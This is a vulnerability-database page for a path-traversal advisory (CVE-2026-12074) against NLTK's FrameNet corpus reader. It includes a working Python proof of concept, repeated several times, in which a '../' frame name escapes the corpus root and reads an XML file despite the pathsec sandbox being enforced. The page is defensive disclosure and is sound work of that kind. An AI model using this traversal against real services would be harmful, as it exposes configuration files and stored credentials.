Vulnerability-Lookup

GHSA-XH95-F55M-82FW

Vulnerability from github – Published: 2026-07-31 16:50 – Updated: 2026-07-31 16:50

Summary

Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

Details

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - doc() — uses the index entry filename field - the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content unexpected: {definition!r}")
            verdict = "INCONCLUSIVE"
    except FramenetError as e:
        # Patched build (#3581): _reject_unsafe_path_component raises before open().
        print(f"\n  [SAFE] FramenetError: {e}")
        print("         traversal rejected before any file was opened (patched)")
        verdict = "NOT VULNERABLE"
    except Exception as e:
        print(f"\n  [SAFE] {type(e).__name__}: {e}")
        verdict = "NOT VULNERABLE"

    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
    print("\n[CONTROL] benign absent name should be 'Unknown frame':")
    try:
        fn.frame("Definitely_Not_A_Frame")
        print("  [?] unexpectedly succeeded")
    except Exception as e:
        print(f"  ok -> {type(e).__name__}: {e}")

    print("\n" + "=" * 59)
    print(f" Result: {verdict}  (ENFORCE = {ps.ENFORCE})")
    print("=" * 59)


if __name__ == "__main__":
    main()

Impact

Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame_by_name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-12074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:50:41Z",
    "nvd_published_at": "2026-06-15T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox \u2014 including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` \u2014 uses the index entry `filename` field\n- the lexical-unit file loader \u2014 uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n    \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n    \u0027\u003cframe xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\"\u003e\\n\u0027\n    \"\u003cdefinition\u003eSECRET-OUT-OF-ROOT-CONTENT\u003c/definition\u003e\\n\"\n    \"\u003c/frame\u003e\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n    ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n    \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n    base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n    root = base / \"corpora\" / \"framenet\"\n    for d in (\"frame\", \"fulltext\", \"lu\"):\n        (root / d).mkdir(parents=True)\n    (root / \"frameIndex.xml\").write_text(\n        \u0027\u003c?xml version=\"1.0\"?\u003e\u003cframeIndex\u003e\u003c/frameIndex\u003e\u0027\n    )\n    (root / \"frRelation.xml\").write_text(\n        \u0027\u003c?xml version=\"1.0\"?\u003e\u003cframeRelations\u003e\u003c/frameRelations\u003e\u0027\n    )\n\n    # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n    secret = base / \"private\"\n    secret.mkdir()\n    (secret / \"secret.xml\").write_text(FRAME_XML)\n\n    return base, root, secret / \"secret.xml\"\n\n\ndef main():\n    print(BANNER)\n    base, root, secret_path = build_corpus()\n    print(f\"[*] corpus root : {root}\")\n    print(f\"[*] secret file : {secret_path}  (OUTSIDE the root)\\n\")\n\n    fn = FramenetCorpusReader(str(root), [])\n\n    # Attacker-controlled frame name climbs out of \u003croot\u003e/frame/ up to \u003cbase\u003e/private/secret.xml\n    evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n    print(f\"[*] calling   fn.frame({evil!r})\")\n\n    try:\n        f = fn.frame(evil)\n        definition = f[\"definition\"]\n        if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n            print(\"\\n  [VULN] out-of-root file was read and returned to caller\")\n            print(f\"         frame name : {evil}\")\n            print(f\"         frame ID   : {f[\u0027ID\u0027]}   name: {f[\u0027name\u0027]}\")\n            print(f\"         definition : {definition}\")\n            print(f\"\\n  -\u003e nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n            verdict = \"VULNERABLE\"\n        else:\n            print(f\"\\n  [?] frame() returned but content unexpected: {definition!r}\")\n            verdict = \"INCONCLUSIVE\"\n    except FramenetError as e:\n        # Patched build (#3581): _reject_unsafe_path_component raises before open().\n        print(f\"\\n  [SAFE] FramenetError: {e}\")\n        print(\"         traversal rejected before any file was opened (patched)\")\n        verdict = \"NOT VULNERABLE\"\n    except Exception as e:\n        print(f\"\\n  [SAFE] {type(e).__name__}: {e}\")\n        verdict = \"NOT VULNERABLE\"\n\n    # Control: a plain absent name must fail as \u0027Unknown frame\u0027, NOT as a read.\n    print(\"\\n[CONTROL] benign absent name should be \u0027Unknown frame\u0027:\")\n    try:\n        fn.frame(\"Definitely_Not_A_Frame\")\n        print(\"  [?] unexpectedly succeeded\")\n    except Exception as e:\n        print(f\"  ok -\u003e {type(e).__name__}: {e}\")\n\n    print(\"\\n\" + \"=\" * 59)\n    print(f\" Result: {verdict}  (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK\u0027s `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read \u2014 silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.",
  "id": "GHSA-xh95-f55m-82fw",
  "modified": "2026-07-31T16:50:41Z",
  "published": "2026-07-31T16:50:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)"
}

PYSEC-2026-3584

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36

Details

Summary

Details

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content unexpected: {definition!r}")
            verdict = "INCONCLUSIVE"
    except FramenetError as e:
        # Patched build (#3581): _reject_unsafe_path_component raises before open().
        print(f"\n  [SAFE] FramenetError: {e}")
        print("         traversal rejected before any file was opened (patched)")
        verdict = "NOT VULNERABLE"
    except Exception as e:
        print(f"\n  [SAFE] {type(e).__name__}: {e}")
        verdict = "NOT VULNERABLE"

    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
    print("\n[CONTROL] benign absent name should be 'Unknown frame':")
    try:
        fn.frame("Definitely_Not_A_Frame")
        print("  [?] unexpectedly succeeded")
    except Exception as e:
        print(f"  ok -> {type(e).__name__}: {e}")

    print("\n" + "=" * 59)
    print(f" Result: {verdict}  (ENFORCE = {ps.ENFORCE})")
    print("=" * 59)


if __name__ == "__main__":
    main()

Impact

Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame_by_name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impacted products

Name	purl
nltk	pkg:pypi/nltk

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk",
        "purl": "pkg:pypi/nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.8",
        "0.9",
        "0.9.3",
        "0.9.4",
        "0.9.5",
        "0.9.6",
        "0.9.7",
        "0.9.8",
        "0.9.9",
        "2.0.1",
        "2.0.1rc1",
        "2.0.1rc2-git",
        "2.0.1rc3",
        "2.0.1rc4",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0b4",
        "2.0b5",
        "2.0b6",
        "2.0b7",
        "2.0b8",
        "2.0b9",
        "3.0.0",
        "3.0.0b1",
        "3.0.0b2",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.1",
        "3.2",
        "3.2.1",
        "3.2.2",
        "3.2.3",
        "3.2.4",
        "3.2.5",
        "3.3",
        "3.4",
        "3.4.1",
        "3.4.2",
        "3.4.3",
        "3.4.4",
        "3.4.5",
        "3.5",
        "3.5b1",
        "3.6",
        "3.6.1",
        "3.6.2",
        "3.6.3",
        "3.6.4",
        "3.6.5",
        "3.6.6",
        "3.6.7",
        "3.7",
        "3.8",
        "3.8.1",
        "3.9",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "3.9.4",
        "3.9b1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-12074",
    "GHSA-xh95-f55m-82fw"
  ],
  "details": "### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox \u2014 including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` \u2014 uses the index entry `filename` field\n- the lexical-unit file loader \u2014 uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n    \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n    \u0027\u003cframe xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\"\u003e\\n\u0027\n    \"\u003cdefinition\u003eSECRET-OUT-OF-ROOT-CONTENT\u003c/definition\u003e\\n\"\n    \"\u003c/frame\u003e\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n    ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n    \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n    base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n    root = base / \"corpora\" / \"framenet\"\n    for d in (\"frame\", \"fulltext\", \"lu\"):\n        (root / d).mkdir(parents=True)\n    (root / \"frameIndex.xml\").write_text(\n        \u0027\u003c?xml version=\"1.0\"?\u003e\u003cframeIndex\u003e\u003c/frameIndex\u003e\u0027\n    )\n    (root / \"frRelation.xml\").write_text(\n        \u0027\u003c?xml version=\"1.0\"?\u003e\u003cframeRelations\u003e\u003c/frameRelations\u003e\u0027\n    )\n\n    # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n    secret = base / \"private\"\n    secret.mkdir()\n    (secret / \"secret.xml\").write_text(FRAME_XML)\n\n    return base, root, secret / \"secret.xml\"\n\n\ndef main():\n    print(BANNER)\n    base, root, secret_path = build_corpus()\n    print(f\"[*] corpus root : {root}\")\n    print(f\"[*] secret file : {secret_path}  (OUTSIDE the root)\\n\")\n\n    fn = FramenetCorpusReader(str(root), [])\n\n    # Attacker-controlled frame name climbs out of \u003croot\u003e/frame/ up to \u003cbase\u003e/private/secret.xml\n    evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n    print(f\"[*] calling   fn.frame({evil!r})\")\n\n    try:\n        f = fn.frame(evil)\n        definition = f[\"definition\"]\n        if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n            print(\"\\n  [VULN] out-of-root file was read and returned to caller\")\n            print(f\"         frame name : {evil}\")\n            print(f\"         frame ID   : {f[\u0027ID\u0027]}   name: {f[\u0027name\u0027]}\")\n            print(f\"         definition : {definition}\")\n            print(f\"\\n  -\u003e nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n            verdict = \"VULNERABLE\"\n        else:\n            print(f\"\\n  [?] frame() returned but content unexpected: {definition!r}\")\n            verdict = \"INCONCLUSIVE\"\n    except FramenetError as e:\n        # Patched build (#3581): _reject_unsafe_path_component raises before open().\n        print(f\"\\n  [SAFE] FramenetError: {e}\")\n        print(\"         traversal rejected before any file was opened (patched)\")\n        verdict = \"NOT VULNERABLE\"\n    except Exception as e:\n        print(f\"\\n  [SAFE] {type(e).__name__}: {e}\")\n        verdict = \"NOT VULNERABLE\"\n\n    # Control: a plain absent name must fail as \u0027Unknown frame\u0027, NOT as a read.\n    print(\"\\n[CONTROL] benign absent name should be \u0027Unknown frame\u0027:\")\n    try:\n        fn.frame(\"Definitely_Not_A_Frame\")\n        print(\"  [?] unexpectedly succeeded\")\n    except Exception as e:\n        print(f\"  ok -\u003e {type(e).__name__}: {e}\")\n\n    print(\"\\n\" + \"=\" * 59)\n    print(f\" Result: {verdict}  (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK\u0027s `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read \u2014 silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.",
  "id": "PYSEC-2026-3584",
  "modified": "2026-08-04T13:36:24.745973Z",
  "published": "2026-08-04T11:34:45.939354Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/nltk"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xh95-f55m-82fw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12074"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-XH95-F55M-82FW

Summary

Details

PoC

Impact

PYSEC-2026-3584

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature